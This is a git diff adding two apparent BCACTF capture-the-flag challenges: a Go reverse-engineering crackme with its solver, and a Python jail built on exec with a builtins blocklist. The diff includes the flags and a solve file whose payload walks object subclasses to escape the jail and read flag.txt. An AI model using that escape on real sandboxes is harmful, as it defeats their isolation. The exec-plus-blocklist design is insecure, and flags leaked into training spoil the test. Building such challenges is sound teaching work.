diff --git a/go-getter/Dockerfile b/go-getter/Dockerfile new file mode 100644 index 0000000..bcf09a6 --- /dev/null +++ b/go-getter/Dockerfile @@ -0,0 +1,13 @@ +FROM golang:1.21-alpine AS builder + +WORKDIR /app +COPY main.go . + +# Build with optimizations and strip symbols +RUN CGO_ENABLED=0 GOOS=linux go build \ + -a -ldflags '-w -s -extldflags "-static"' \ + -o go-getter main.go + +FROM scratch +COPY --from=builder /app/go-getter /go-getter +ENTRYPOINT ["/go-getter"] diff --git a/go-getter/challenge.yml b/go-getter/challenge.yml new file mode 100644 index 0000000..e69de29 diff --git a/go-getter/flag.txt b/go-getter/flag.txt new file mode 100644 index 0000000..11e81f1 --- /dev/null +++ b/go-getter/flag.txt @@ -0,0 +1 @@ +bcactf{g0_r3v3rs3_3ng1n33r1ng_m4st3r} \ No newline at end of file diff --git a/go-getter/genconst.py b/go-getter/genconst.py new file mode 100644 index 0000000..80b87e6 --- /dev/null +++ b/go-getter/genconst.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python3 +import sys + +def encrypt_flag(flag): + """Encrypt flag with a simple but effective multi-stage process""" + data = flag.encode() + + # Stage 1: XOR with key + key1 = [0x13, 0x37, 0x42, 0x69, 0x88, 0xAA, 0xBB, 0xCC] + stage1 = [] + for i, b in enumerate(data): + stage1.append(b ^ key1[i % len(key1)]) + + # Stage 2: Add with rotating offset + stage2 = [] + for i, b in enumerate(stage1): + offset = (i * 7 + 23) & 0xFF + stage2.append((b + offset) & 0xFF) + + # Stage 3: Swap nibbles and XOR with position + final = [] + for i, b in enumerate(stage2): + # Swap high and low nibbles + swapped = ((b & 0x0F) << 4) | ((b & 0xF0) >> 4) + # XOR with position-based value + pos_xor = (i * 3 + 0x55) & 0xFF + final.append(swapped ^ pos_xor) + + return final + +def decrypt_flag(encrypted): + """Decrypt flag - reverse of encrypt_flag""" + # Stage 1: Reverse nibble swap and position XOR + stage1 = [] + for i, b in enumerate(encrypted): + # Reverse position XOR + pos_xor = (i * 3 + 0x55) & 0xFF + unxored = b ^ pos_xor + # Reverse nibble swap + original = ((unxored & 0x0F) << 4) | ((unxored & 0xF0) >> 4) + stage1.append(original) + + # Stage 2: Subtract rotating offset + stage2 = [] + for i, b in enumerate(stage1): + offset = (i * 7 + 23) & 0xFF + stage2.append((b - offset) & 0xFF) + + # Stage 3: Reverse XOR with key + key1 = [0x13, 0x37, 0x42, 0x69, 0x88, 0xAA, 0xBB, 0xCC] + final = [] + for i, b in enumerate(stage2): + final.append(b ^ key1[i % len(key1)]) + + return bytes(final).decode() + +def main(): + if len(sys.argv) != 2: + print("Usage: python3 genconst.py ") + sys.exit(1) + + flag = sys.argv[1] + encrypted = encrypt_flag(flag) + + print("// Generated constants for main.go") + print("var encryptedFlag = []byte{") + for i in range(0, len(encrypted), 8): + chunk = encrypted[i:i+8] + line = "\t" + ", ".join(f"0x{b:02x}" for b in chunk) + "," + print(line) + print("}") + print(f"var flagLength = {len(flag)}") + + # Verify + decrypted = decrypt_flag(encrypted) + print(f"\n// Verification:") + print(f"// Original: {flag}") + print(f"// Decrypted: {decrypted}") + print(f"// Match: {flag == decrypted}") + +if __name__ == "__main__": + main() diff --git a/go-getter/go-getter b/go-getter/go-getter new file mode 100755 index 0000000..cf45da1 Binary files /dev/null and b/go-getter/go-getter differ diff --git a/go-getter/main.go b/go-getter/main.go new file mode 100644 index 0000000..6db647c --- /dev/null +++ b/go-getter/main.go @@ -0,0 +1,140 @@ +package main + +import ( + "bufio" + "crypto/rand" + "fmt" + "os" + "strings" +) + +// Generated constants for main.go +var encryptedFlag = []byte{ + 0xdd, 0x7f, 0xdf, 0x3d, 0x93, 0x04, 0x77, 0x55, + 0x4a, 0x9b, 0xab, 0x9d, 0xef, 0xcc, 0x5b, 0x71, + 0xff, 0xe7, 0xeb, 0xb4, 0xb8, 0xc0, 0xff, 0xe1, + 0x60, 0x10, 0xa7, 0x1b, 0x05, 0xd1, 0x54, 0x3c, + 0xc0, 0xac, 0xdc, 0xcc, 0x41, +} +var flagLength = 37 + +// Decoy constants for obfuscation +const ( + magicConst1 = 0xDEADBEEF + magicConst2 = 0xCAFEBABE + magicConst3 = 0x1337C0DE +) + +// Anti-tampering check +func environmentCheck() bool { + // Simple entropy check to make analysis harder + buf := make([]byte, 4) + rand.Read(buf) + return len(buf) == 4 +} + +// Main decryption function +func decryptFlag(encrypted []byte) string { + if !environmentCheck() { + return "" + } + + // Stage 1: Reverse nibble swap and position XOR + stage1 := make([]byte, len(encrypted)) + for i, b := range encrypted { + // Reverse position XOR + posXor := byte((i*3 + 0x55) & 0xFF) + unxored := b ^ posXor + // Reverse nibble swap + original := ((unxored & 0x0F) << 4) | ((unxored & 0xF0) >> 4) + stage1[i] = original + } + + // Stage 2: Subtract rotating offset + stage2 := make([]byte, len(stage1)) + for i, b := range stage1 { + offset := byte((i*7 + 23) & 0xFF) + stage2[i] = (b - offset) & 0xFF + } + + // Stage 3: Reverse XOR with key + key := []byte{0x13, 0x37, 0x42, 0x69, 0x88, 0xAA, 0xBB, 0xCC} + final := make([]byte, len(stage2)) + for i, b := range stage2 { + final[i] = b ^ key[i%len(key)] + } + + return string(final) +} + +// Decoy functions to confuse static analysis +func checkFormat(input string) bool { + return strings.HasPrefix(input, "bcactf{") && strings.HasSuffix(input, "}") +} + +func checkLength(input string) bool { + return len(input) == flagLength +} + +func checkCharacters(input string) bool { + allowed := "abcdefghijklmnopqrstuvwxyz0123456789_{}" + for _, c := range input { + found := false + for _, a := range allowed { + if c == a { + found = true + break + } + } + if !found { + return false + } + } + return true +} + +// Main verification logic +func verifyFlag(input string) bool { + // Basic checks first + if !checkFormat(input) || !checkLength(input) || !checkCharacters(input) { + return false + } + + // Decrypt the stored flag and compare + correctFlag := decryptFlag(encryptedFlag) + return input == correctFlag +} + +func printBanner() { + fmt.Println(` + ██████╗ ██████╗ ██████╗ ███████╗████████╗████████╗███████╗██████╗ +██╔════╝ ██╔═══██╗ ██╔════╝ ██╔════╝╚══██╔══╝╚══██╔══╝██╔════╝██╔══██╗ +██║ ███╗██║ ██║ ██║ ███╗█████╗ ██║ ██║ █████╗ ██████╔╝ +██║ ██║██║ ██║ ██║ ██║██╔══╝ ██║ ██║ ██╔══╝ ██╔══██╗ +╚██████╔╝╚██████╔╝ ╚██████╔╝███████╗ ██║ ██║ ███████╗██║ ██║ + ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ +`) +} + +func main() { + printBanner() + + // Anti-analysis: Use the magic constants + _ = magicConst1 ^ magicConst2 ^ magicConst3 + + fmt.Print("Enter the flag: ") + reader := bufio.NewReader(os.Stdin) + input, err := reader.ReadString('\n') + if err != nil { + fmt.Println("error reading input") + return + } + + input = strings.TrimSpace(input) + + if verifyFlag(input) { + fmt.Println("\ngood boy.") + } else { + fmt.Println("\nbad boy.") + } +} diff --git a/go-getter/solve.py b/go-getter/solve.py new file mode 100644 index 0000000..e4f8aab --- /dev/null +++ b/go-getter/solve.py @@ -0,0 +1,31 @@ +# solve.py + +# Encrypted flag bytes (37 bytes) +enc = [ + 0xDD, 0x7F, 0xDF, 0x3D, 0x93, 0x04, 0x77, 0x55, + 0x4A, 0x9B, 0xAB, 0x9D, 0xEF, 0xCC, 0x5B, 0x71, + 0xFF, 0xE7, 0xEB, 0xB4, 0xB8, 0xC0, 0xFF, 0xE1, + 0x60, 0x10, 0xA7, 0x1B, 0x05, 0xD1, 0x54, 0x3C, + 0xC0, 0xAC, 0xDC, 0xCC, 0x41 +] + +# 8-byte key from 0xCCBBAA8869423713 (little endian) +key = [0x13, 0x37, 0x42, 0x69, 0x88, 0xAA, 0xBB, 0xCC] + +def decrypt_flag(enc_bytes): + plain = [] + for i, b in enumerate(enc_bytes): + # Step 1: b1 = enc ^ (3*i + 85) + b1 = b ^ ((3 * i + 85) & 0xFF) + # Step 2: swap nibbles + b2 = ((b1 & 0x0F) << 4) | ((b1 & 0xF0) >> 4) + # Step 3: subtract (7*i + 23) + b3 = (b2 - (7 * i + 23)) & 0xFF + # Step 4: XOR with key byte + b4 = b3 ^ key[i % len(key)] + plain.append(b4) + return bytes(plain) + +if __name__ == "__main__": + flag = decrypt_flag(enc) + print(flag.decode()) diff --git a/go-getter/solve.txt b/go-getter/solve.txt new file mode 100644 index 0000000..e69de29 diff --git a/locked-out-again/Dockerfile b/locked-out-again/Dockerfile new file mode 100644 index 0000000..82021e5 --- /dev/null +++ b/locked-out-again/Dockerfile @@ -0,0 +1,28 @@ +FROM --platform=linux/amd64 ubuntu:20.04 AS build + +RUN apt-get update -y && apt-get install -y gcc && apt-get install -y wget && apt-get install -y unzip && rm -rf /var/lib/apt/lists/* + +RUN wget -O ynetd.c https://raw.githubusercontent.com/johnsonjh/ynetd/master/ynetd.c \ + && gcc -o ynetd ynetd.c + + +FROM --platform=linux/amd64 python:3.12-slim-bookworm AS deployer + +RUN useradd -m -d /home/ctf -u 12345 ctf +WORKDIR /home/ctf + +# copy over ynetd +COPY --from=build ynetd ynetd +RUN chmod +x ynetd + +# copy over source and set permissions +COPY flag.txt . + +COPY server.py . + +RUN chown -R root:root /home/ctf + +# run and expose +USER ctf +EXPOSE 7331 +CMD ["./ynetd", "-p", "7331", "python3 server.py 2>&1"] \ No newline at end of file diff --git a/locked-out-again/challenge.yml b/locked-out-again/challenge.yml new file mode 100644 index 0000000..f404b16 --- /dev/null +++ b/locked-out-again/challenge.yml @@ -0,0 +1,21 @@ +name: locked out +author: Colin +category: misc +description: 'just lock in instead of getting locked out + + the flag is in `./flag.txt`' +attribution: Written by Colin +value: 125 +type: standard +version: '0.1' +image: . +protocol: tcp +connection_info: nc challs.bcactf.com 7331 +host: null +flags: +- bcactf{5u0_d1n6_10ck_1n_m4n_4nd_h0p_0ff_7h3_8r41nr07} +hints: +- just use your get out of jail free card +files: +- server.py +state: visible diff --git a/locked-out-again/flag.txt b/locked-out-again/flag.txt new file mode 100644 index 0000000..38eeac3 --- /dev/null +++ b/locked-out-again/flag.txt @@ -0,0 +1 @@ +bcactf{5u0_d1n6_10ck_1n_m4n_4nd_h0p_0ff_7h3_8r41nr07} diff --git a/locked-out-again/server.py b/locked-out-again/server.py new file mode 100644 index 0000000..abed174 --- /dev/null +++ b/locked-out-again/server.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 + + +class DescriptorTrap: + def __init__(self, name): + self.name = name + self.access_count = 0 + + def __get__(self, obj, objtype=None): + self.access_count += 1 + if self.access_count > 3: + raise Exception(f"Too many accesses to {self.name}!") + return lambda *args, **kwargs: None + + def __set__(self, obj, value): + raise Exception(f"Cannot modify {self.name}!") + + +class MetaTrap(type): + def __new__(cls, name, bases, namespace): + for attr in ["print", "exec", "eval", "open", "input", "__import__"]: + namespace[attr] = DescriptorTrap(attr) + + # Make all methods return None after 2 calls + for key, value in namespace.items(): + if callable(value) and not key.startswith("__"): + namespace[key] = DescriptorTrap(key) + + return super().__new__(cls, name, bases, namespace) + + def __getattribute__(cls, name): + if name in ["__dict__", "__class__", "__bases__", "__mro__"]: + raise Exception("No metaclass inspection allowed!") + return super().__getattribute__(name) + + +class JailCell(metaclass=MetaTrap): + # These will be trapped by the metaclass + print = print + exec = exec + eval = eval + open = open + __import__ = __import__ + + def escape_attempt(self): + return "Nice try!" + + +# Create the jail environment +jail = JailCell() + +# Block access to dangerous builtins +blocked_builtins = { + "exec", + "eval", + "compile", + "open", + "__import__", + "input", + "breakpoint", + "help", + "exit", + "quit", + "copyright", + "credits", +} + +if hasattr(__builtins__, "__dict__"): + builtin_dict = __builtins__.__dict__ +else: + builtin_dict = __builtins__ + +safe_builtins = {k: v for k, v in builtin_dict.items() if k not in blocked_builtins} + + +safe_builtins["print"] = lambda *args, **kwargs: None # Neuter print +safe_builtins["open"] = lambda *args, **kwargs: None # Neuter open + +print("read the contents of ./flag.txt") +print("man i LOVE wjat.") + +user_code = input("enter your escape code: ") + +try: + exec(user_code, {"__builtins__": safe_builtins, "jail": jail}, {}) +except Exception as e: + print("why are you failing me. come on.") diff --git a/locked-out-again/solve.txt b/locked-out-again/solve.txt new file mode 100644 index 0000000..b7cb107 --- /dev/null +++ b/locked-out-again/solve.txt @@ -0,0 +1,8 @@ +python3 server.py +=== METACLASS MAZE PYJAIL - FILE EDITION === +The class system has been... modified. +All your favorite functions are trapped! +Can you read the contents of ./flag.txt? + +Enter your escape code: next(x.__init__.__globals__['__builtins__']['print'](x.__init__.__globals__['__builtins__']['open']('./flag.txt').read()) for x in ().__class__.__bases__[0].__subclasses__() if hasattr(x, '__init__') and hasattr(x.__init__, '__globals__') and '__builtins__' in x.__init__.__globals__) +bcactf{5u0_d1n6_10ck_1n_m4n_4nd_h0p_0ff_7h3_8r41nr07}